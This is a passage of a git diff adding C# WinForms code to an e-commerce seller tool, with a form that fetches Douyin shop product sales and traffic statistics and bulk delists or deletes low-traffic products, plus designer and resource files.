DouyinApi api = new DouyinApi(shop); + var html = api.GetStatData(); + } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.resx b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.Designer.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.Designer.cs new file mode 100644 index 0000000..07eb686 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.Designer.cs @@ -0,0 +1,265 @@ +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + partial class ClearNoVisitorShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSales = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCreateTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOrderCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShowCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShowPeopleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colClickCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colClickPeopleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1101, 503); + this.splitContainer2.SplitterDistance = 473; + this.splitContainer2.TabIndex = 8; + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colSales, + this.colPrice, + this.colCreateTime, + this.colOrderCount, + this.colShowCount, + this.colShowPeopleCount, + this.colClickCount, + this.colClickPeopleCount, + this.colMessage}); + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(4, 4); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(1093, 469); + this.dgvProduct.TabIndex = 6; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(656, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1101, 26); + this.statusBar.TabIndex = 2; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.Width = 250; + // + // colSales + // + this.colSales.HeaderText = "销量"; + this.colSales.Name = "colSales"; + this.colSales.ReadOnly = true; + this.colSales.Width = 60; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 60; + // + // colCreateTime + // + this.colCreateTime.HeaderText = "创建时间"; + this.colCreateTime.Name = "colCreateTime"; + this.colCreateTime.ReadOnly = true; + // + // colOrderCount + // + this.colOrderCount.HeaderText = "成交订单数"; + this.colOrderCount.Name = "colOrderCount"; + this.colOrderCount.ReadOnly = true; + this.colOrderCount.Width = 90; + // + // colShowCount + // + this.colShowCount.HeaderText = "商品曝光次数"; + this.colShowCount.Name = "colShowCount"; + this.colShowCount.ReadOnly = true; + this.colShowCount.Width = 90; + // + // colShowPeopleCount + // + this.colShowPeopleCount.HeaderText = "商品曝光人数"; + this.colShowPeopleCount.Name = "colShowPeopleCount"; + this.colShowPeopleCount.ReadOnly = true; + this.colShowPeopleCount.Width = 90; + // + // colClickCount + // + this.colClickCount.HeaderText = "商品点击次数"; + this.colClickCount.Name = "colClickCount"; + this.colClickCount.ReadOnly = true; + this.colClickCount.Width = 90; + // + // colClickPeopleCount + // + this.colClickPeopleCount.HeaderText = "商品点击人数"; + this.colClickPeopleCount.Name = "colClickPeopleCount"; + this.colClickPeopleCount.ReadOnly = true; + this.colClickPeopleCount.Width = 90; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 200; + // + // ClearNoVisitorShopForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1101, 503); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ClearNoVisitorShopForm"; + this.Text = "ClearNoVisitorShopForm"; + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colSales; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colCreateTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colOrderCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShowCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShowPeopleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colClickCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colClickPeopleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.cs new file mode 100644 index 0000000..65989a0 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.cs @@ -0,0 +1,494 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Product; + +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + public partial class ClearNoVisitorShopForm : Form + { + DouShopLoginInfo shop; + public ClearNoVisitorForm clearNoVisitorForm = null; + public bool isGetProductSalesSuccess = false; + public bool isGetProductVisitorSuccess = false; + public Dictionary dicProductSales = new Dictionary(); + public List productTradeIndexList = new List(); + List productList = new List(); + + public ClearNoVisitorShopForm(DouShopLoginInfo _shop) + { + InitializeComponent(); + shop = _shop; + label1.Text = ""; + } + + public void GetProduct(bool isOnline = true, decimal priceMin = 0, decimal priceMax = 99999, int salesMin = 0, int salesMax = 99999, List productName = null) + { + if (shop == null) + return; + + ShowVisitorMessage(""); + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + r.Cells["colSales"].Value = "获取中"; + r.Cells["colOrderCount"].Value = "获取中"; + r.Cells["colShowCount"].Value = "获取中"; + r.Cells["colShowPeopleCount"].Value = "获取中"; + r.Cells["colClickCount"].Value = "获取中"; + r.Cells["colClickPeopleCount"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + } + foreach (var p in productList) + { + p.sell_num = null; + p.order_count = null; + p.show_count = null; + p.show_people_count = null; + p.click_count = null; + p.click_people_count = null; + } + + List tList = new List(); + + var t1 = Task.Run(() => + { + int page = 0; + int pageSize = 100; + int totalNum = 99999; + while (page < 100) + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + break; + + page++; + var html = new ShopProductBLL().GetShopProductListData(shop, isOnline ? 0 : 1, page, pageSize); + while (!html.Contains("\"code\":10000")) + { + Thread.Sleep(1000); + html = new ShopProductBLL().GetShopProductListData(shop, isOnline ? 0 : 1, page, pageSize); + } + totalNum = BaseRegex.GetIntJson(ref html, "total"); + + try + { + JObject jObj = JObject.Parse(html); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + { + // 有关键词的过滤符合关键词 + if (productName != null && productName.Any()) + addList = addList.Where(p => productName.Any(key => p.name.Contains(key))).ToList(); + + productList.AddRange(addList); + productList = productList.DistinctBy(p => p.product_id).ToList(); + } + foreach (var prod in addList) + { + var row = dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == prod.product_id.ToString()); + Invoke(new Action(() => + { + if (row == null) + { + + dgvProduct.Rows.Add( + false, + prod.product_id, + prod.name, + "获取中", + prod.discount_price / 100, + BaseClass.StampToDateTime((int)prod.create_time), + "获取中", + "获取中", + "获取中", + "获取中", + "获取中"); + + } + else + { + row.Cells["colSales"].Value = "获取中"; + row.Cells["colPrice"].Value = prod.discount_price / 100; + row.Cells["colCreateTime"].Value = BaseClass.StampToDateTime((int)prod.create_time); + row.Cells["colOrderCount"].Value = "获取中"; + row.Cells["colShowCount"].Value = "获取中"; + row.Cells["colShowPeopleCount"].Value = "获取中"; + row.Cells["colClickCount"].Value = "获取中"; + row.Cells["colClickPeopleCount"].Value = "获取中"; + } + })); + } + } + var totalPage = Math.Ceiling(totalNum / (pageSize * 1M)); + var message = "已获取:" + page + "页,共" + Math.Ceiling(totalNum / (pageSize * 1M)) + "页,在售商品获取中..."; + if (!isOnline) + message = message.Replace("在售商品获取中", "仓库商品获取中"); + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Value = page; + this.statusBar.pgbTaskProgress.Text = page + "/" + totalPage; + this.statusBar.pgbTaskProgress.Maximum = (int)totalPage; + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + + if (page * pageSize >= totalNum) + break; + } + }); + tList.Add(t1); + + if (LittleRabbitForms.ShopForms.ShopListForm.Instance == null) + LittleRabbitForms.ShopForms.ShopListForm.Instance = new LittleRabbitForms.ShopForms.ShopListForm(); + LittleRabbitForms.ShopForms.ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + + var t2 = Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + clearNoVisitorForm.GetSalesOrVisitor(this.shop); + + var rowsTemp = dgvProduct.Rows.Cast().ToList(); + rowsTemp.Reverse(); + foreach (var r in rowsTemp) + { + try + { + if (r.Cells["colPrice"].Value.ParseToDecimal() < priceMin || r.Cells["colPrice"].Value.ParseToDecimal() > priceMax + || r.Cells["colSales"].Value.ParseToDecimal() < salesMin || r.Cells["colSales"].Value.ParseToDecimal() > salesMax + || (productName?.Count > 0 && !productName.Any(n => r.Cells["colProductName"].Value.ToString().Contains(n)))) + { + Invoke(new Action(() => + { + dgvProduct.Rows.Remove(r); + })); + } + } + catch (Exception ex) + { + } + } + }); + tList.Add(t2); + t2.Wait(); + + var t3 = Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + clearNoVisitorForm.GetSalesOrVisitor(this.shop, false); + }); + tList.Add(t3); + Task.WaitAll(tList.ToArray()); + + SetSalesCount(); + SetVisitorCount(); + + productList = productList.Where(p => p.discount_price / 100M >= priceMin && p.discount_price / 100M <= priceMax && p.sell_num >= salesMin && p.sell_num <= salesMax + && (productName?.Count > 0 == false || productName.Any(n => p.name.Contains(n)))).ToList(); + + Invoke(new Action(() => + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + var errMsg = ""; + if (shop.LoginStatus != "登录成功") + errMsg += " 店铺掉线,请重新登录!"; + if (shop.ApiAuthStatus != "授权成功") + errMsg += " 授权过期,请重新授权!"; + ShowVisitorMessage(errMsg); + } + + public void SetSalesCount() + { + foreach (var key in dicProductSales.Keys) + { + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == key); + if (row != null) + { + Invoke(new Action(() => + { + row.Cells["colSales"].Value = dicProductSales[key]; + })); + } + var product = this.productList.Find(p => p.product_id.ToString() == key); + if (product != null) + product.sell_num = dicProductSales[key]; + } + + foreach (DataGridViewRow row in dgvProduct.Rows) + { + if (row.Cells["colSales"].Value.ToString() == "获取中") + { + Invoke(new Action(() => + { + if (isGetProductSalesSuccess) + { + row.Cells["colSales"].Value = 0; + } + else + { + row.Cells["colSales"].Value = "获取失败"; + } + })); + } + } + if (isGetProductSalesSuccess) + { + foreach (var prod in this.productList) + { + if (prod.sell_num == null) + prod.sell_num = 0; + } + } + } + + public void SetVisitorCount() + { + foreach (DouTradeIndexListInfo indexList in this.productTradeIndexList) + { + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == indexList.product_id); + if (row != null) + { + Invoke(new Action(() => + { + row.Cells["colOrderCount"].Value = indexList.pay_cnt.Replace(",", "").ParseToInt(); + row.Cells["colShowCount"].Value = indexList.dh_product_show_pv.Replace(",", "").ParseToInt(); + row.Cells["colShowPeopleCount"].Value = indexList.dh_product_show_uv.Replace(",", "").ParseToInt(); + row.Cells["colClickCount"].Value = indexList.dh_product_click_pv.Replace(",", "").ParseToInt(); + row.Cells["colClickPeopleCount"].Value = indexList.dh_product_click_uv.Replace(",", "").ParseToInt(); + })); + } + + var product = this.productList.Find(p => p.product_id.ToString() == indexList.product_id); + if (product != null) + { + product.order_count = indexList.pay_cnt.Replace(",", "").ParseToInt(); + product.show_count = indexList.dh_product_show_pv.Replace(",", "").ParseToInt(); + product.show_people_count = indexList.dh_product_show_uv.Replace(",", "").ParseToInt(); + product.click_count = indexList.dh_product_click_pv.Replace(",", "").ParseToInt(); + product.click_people_count = indexList.dh_product_click_uv.Replace(",", "").ParseToInt(); + } + } + + foreach (DataGridViewRow row in dgvProduct.Rows) + { + if (row.Cells["colOrderCount"].Value.ToString() == "获取中") + { + Invoke(new Action(() => + { + if (isGetProductVisitorSuccess) + { + row.Cells["colOrderCount"].Value = 0; + row.Cells["colShowCount"].Value = 0; + row.Cells["colShowPeopleCount"].Value = 0; + row.Cells["colClickCount"].Value = 0; + row.Cells["colClickPeopleCount"].Value = 0; + } + else + { + row.Cells["colOrderCount"].Value = "获取失败"; + row.Cells["colShowCount"].Value = "获取失败"; + row.Cells["colShowPeopleCount"].Value = "获取失败"; + row.Cells["colClickCount"].Value = "获取失败"; + row.Cells["colClickPeopleCount"].Value = "获取失败"; + } + })); + } + } + if (isGetProductVisitorSuccess) + { + foreach (var prod in this.productList) + { + if (prod.order_count == null) + { + prod.order_count = 0; + prod.show_count = 0; + prod.show_people_count = 0; + prod.click_count = 0; + prod.click_people_count = 0; + } + } + } + } + + public void ShowVisitorMessage(string msg) + { + Invoke(new Action(() => { this.label1.Text = msg; })); + } + + public void OffLineProduct(bool skipSale = true, int days = 0, int minShowCount = 1, int minShowPeopleCount = 1, int minOrderCount = 1, + int minClickCount = 1, int minClickPeopleTime = 1, int operateCount = 500) + { + int i = 0; + var rows = this.dgvProduct.Rows.Cast().ToList(); + foreach (DataGridViewRow row in rows) + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + break; + + var product = productList.FirstOrDefault(p => p.product_id.ToString() == row.Cells["colProductId"].Value.ToString()); + if (product == null) + continue; + + bool isContinue = false; + if (skipSale && product.sell_num > 0) + isContinue = true; + if (days > 0 && product.create_time > BaseClass.DateTimeToTimestampSeconds(DateTime.Now.Date.AddDays(0 - days))) + isContinue = true; + if (product.order_count >= minOrderCount) + isContinue = true; + if (product.show_count >= minShowCount || product.show_people_count >= minShowPeopleCount) + isContinue = true; + if (product.click_count >= minClickCount || product.click_people_count >= minClickPeopleTime) + isContinue = true; + if (product.sell_num == null || product.order_count == null || product.click_count == null) + isContinue = true; + + if (isContinue) + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "跳过"; })); + continue; + } + + i++; + if (i > operateCount) + break; + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在下架商品"; + this.statusBar.pgbTaskProgress.Value = operateCount; + this.statusBar.pgbTaskProgress.Text = i + "/" + operateCount; + this.statusBar.pgbTaskProgress.Maximum = operateCount; + })); + + var result = new ShopProductBLL().OffSaleProduct(shop, product.product_id.ToString()); + if (result.Contains("\"code\":10000")) + Invoke(new Action(() => { row.Cells["colMessage"].Value = "下架成功"; })); + else + Invoke(new Action(() => { row.Cells["colMessage"].Value = "下架失败:" + BaseRegex.GetStringJson(ref result, "sub_msg"); })); + } + + Invoke(new Action(() => + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "下架中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "下架完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + public void DeleteProduct(bool skipSale = true, int days = 0, int minShowCount = 1, int minShowPeopleCount = 1, int minOrderCount = 1, + int minClickCount = 1, int minClickPeopleTime = 1, int operateCount = 500) + { + int i = 0; + var rows = this.dgvProduct.Rows.Cast().ToList(); + foreach (DataGridViewRow row in rows) + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + break; + + var product = productList.FirstOrDefault(p => p.product_id.ToString() == row.Cells["colProductId"].Value.ToString()); + if (product == null) + continue; + + bool isContinue = false; + if (skipSale && product.sell_num > 0) + isContinue = true; + if (days > 0 && product.create_time > BaseClass.DateTimeToTimestampSeconds(DateTime.Now.Date.AddDays(0 - days))) + isContinue = true; + if (product.order_count >= minOrderCount) + isContinue = true; + if (product.show_count >= minShowCount || product.show_people_count >= minShowPeopleCount) + isContinue = true; + if (product.click_count >= minClickCount || product.click_people_count >= minClickPeopleTime) + isContinue = true; + if (product.sell_num == null || product.order_count == null || product.click_count == null) + isContinue = true; + + if (isContinue) + { + Invoke(new Action(() => { row.Cells["colMessage"].Value = "跳过"; })); + continue; + } + + i++; + if (i > operateCount) + break; + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在删除商品"; + this.statusBar.pgbTaskProgress.Value = operateCount; + this.statusBar.pgbTaskProgress.Text = i + "/" + operateCount; + this.statusBar.pgbTaskProgress.Maximum = operateCount; + })); + + var result = new ShopProductBLL().DeleteProduct(shop, product.product_id.ToString()); + if (result.Contains("\"code\":10000")) + Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除成功"; })); + else + Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除失败:" + BaseRegex.GetStringJson(ref result, "sub_msg"); })); + } + + Invoke(new Action(() => + { + if (clearNoVisitorForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "删除中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "删除完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + public void ClearData() + { + this.productList.Clear(); + this.productTradeIndexList.Clear(); + this.dicProductSales.Clear(); + this.dgvProduct.Rows.Clear(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.resx b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.resx new file mode 100644 index 0000000..5500456 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorShopForm.resx @@ -0,0 +1,156 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.Designer.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.Designer.cs new file mode 100644 index 0000000..b90a93f --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.Designer.cs @@ -0,0 +1,164 @@ +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + partial class OptimizeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("清理无流量"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("店铺优化", new System.Windows.Forms.TreeNode[] { + treeNode1}); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(934, 561); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 7; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), 